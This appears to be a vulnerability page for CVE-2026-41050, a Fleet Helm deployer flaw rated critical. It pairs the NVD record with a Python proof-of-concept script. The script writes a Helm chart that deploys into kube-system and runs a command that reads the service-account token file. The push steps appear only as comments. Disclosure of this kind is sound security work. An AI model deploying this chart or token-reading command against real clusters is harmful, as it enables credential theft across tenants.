CVE-2026-41050

#!/usr/bin/env python3 """ PoC Concept for CVE-2026-41050 Demonstrates the potential impact of the vulnerability by simulating a git push that triggers the vulnerable Helm deployer path. Note: Actual exploitation requires access to a Fleet-monitored repository. """ import os import subprocess # Configuration REPO_URL = "[email protected]:target-org/fleet-managed-repo.git" MALICIOUS_CHART_PATH = "./exploit-chart" # 1. Setup a malicious Helm chart structure # In a real scenario, this chart would trigger the specific code path # that fails to apply ServiceAccount impersonation. print("[*] Creating malicious Helm chart structure...") os.makedirs(f"{MALICIOUS_CHART_PATH}/templates", exist_ok=True) with open(f"{MALICIOUS_CHART_PATH}/Chart.yaml", "w") as f: f.write("""apiVersion: v2 name: exploit-cve-2026-41050 version: 0.1.0 """) # This deployment attempts to access secrets from a restricted namespace with open(f"{MALICIOUS_CHART_PATH}/templates/deployment.yaml", "w") as f: f.write("""apiVersion: apps/v1 kind: Deployment metadata: name: poc-deployment namespace: kube-system # Targeting restricted namespace spec: replicas: 1 selector: matchLabels: app: poc template: metadata: labels: app: poc spec: containers: - name: alpine image: alpine:3 command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token"] """) # 2. Simulate pushing to the Fleet-monitored repository print(f"[*] Simulating git push to {REPO_URL}...") print("[!] If vulnerable, Fleet will deploy this to kube-system using elevated privileges.") # Commands that would be run in an actual exploitation: # git clone REPO_URL # cp -r exploit-chart/* REPO_DIR/ # git add . # git commit -m "Trigger Deployer" # git push print("[+] PoC generation complete.")

{"cve": {"id": "CVE-2026-41050", "sourceIdentifier": "[email protected]", "published": "2026-05-13T08:16:16.780", "lastModified": "2026-05-13T15:35:35.267", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2026-41050", "source": "[email protected]"}, {"url": "https://github.com/advisories/GHSA-765j-qfrp-hm3j", "source": "[email protected]"}]}}